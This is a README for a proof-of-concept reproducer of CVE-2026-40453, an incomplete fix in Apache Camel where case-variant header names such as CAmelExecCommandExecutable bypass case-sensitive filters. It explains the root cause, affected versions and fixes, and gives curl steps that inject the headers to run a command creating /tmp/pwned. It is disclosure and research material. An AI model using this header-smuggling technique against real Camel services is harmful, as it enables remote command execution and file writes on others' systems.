
Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)
This project demonstrates CVE-2026-40453 — an incomplete fix for CVE-2025-27636. The 2025 fix
added setLowerCase(true) to HttpHeaderFilterStrategy so that case-variant header names (e.g.
CAmelExecCommandExecutable) are filtered alongside the canonical CamelExecCommandExecutable. The
same call was not applied to five non-HTTP HeaderFilterStrategy implementations
(camel-jms, camel-sjms, camel-coap, camel-google-pubsub), which filter case-sensitively while
the Camel Exchange stores headers in a case- map. An attacker can therefore inject a
case-variant control header that bypasses the filter but is still resolved by downstream
components (, , ...) under its canonical name → /
arbitrary file write.
Camel*camel-execcamel-fileThis reproducer demonstrates the bypass with camel-coap (self-contained, no external broker); the same flaw affects the JMS/SJMS/Google-Pubsub strategies.
| Property | Value |
|---|---|
| Components | camel-jms, camel-sjms, camel-coap, camel-google-pubsub (this PoC uses camel-coap) |
| Affected Classes | JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy |
| Root cause | Case-sensitive startsWith("Camel"/"camel") filtering (missing setLowerCase(true)) vs a case-insensitive Exchange header map |
| CWE | CWE-20 (Improper Input Validation) — message header injection |
| Impact | RCE / arbitrary file write via header-driven producers |
| Affected Versions | From 3.0.0 before 4.14.6, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0 |
| Fixed Versions | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23313 (completes the fix for CVE-2025-27636) |
| Reporter | Saroj Khadka |
CoAPHeaderFilterStrategy (affected version) filters Camel* case-sensitively:
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
When a CoAP request arrives, CamelCoapResource.handleRequest() maps each URI-query parameter into the
Exchange In headers, gated by strategy.applyFilterToExternalHeaders(name, value, exchange):
CamelExecCommandExecutable — startsWith("Camel") is true → filtered out.CAmelExecCommandExecutable — startsWith("Camel") is false (CAm ≠ Cam) → not filtered.The Exchange header map is case-insensitive, so the case-variant header is later resolved by the
exec producer under its canonical name CamelExecCommandExecutable, overriding the command.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false (the filter strips canonical Camel* headers)
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
Upgrade to 4.14.6 / 4.18.2 / 4.20.0. The fix (CAMEL-23313) adds setLowerCase(true) to the five
non-HTTP HeaderFilterStrategy implementations so case-variant Camel* names are also filtered.
Until upgrading:
HeaderFilterStrategy with setLowerCase(true), or removeHeaders with a case-insensitive pattern.CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # victim: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtered), /attack (case-variant bypass)
└── resources/
└── application.properties
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.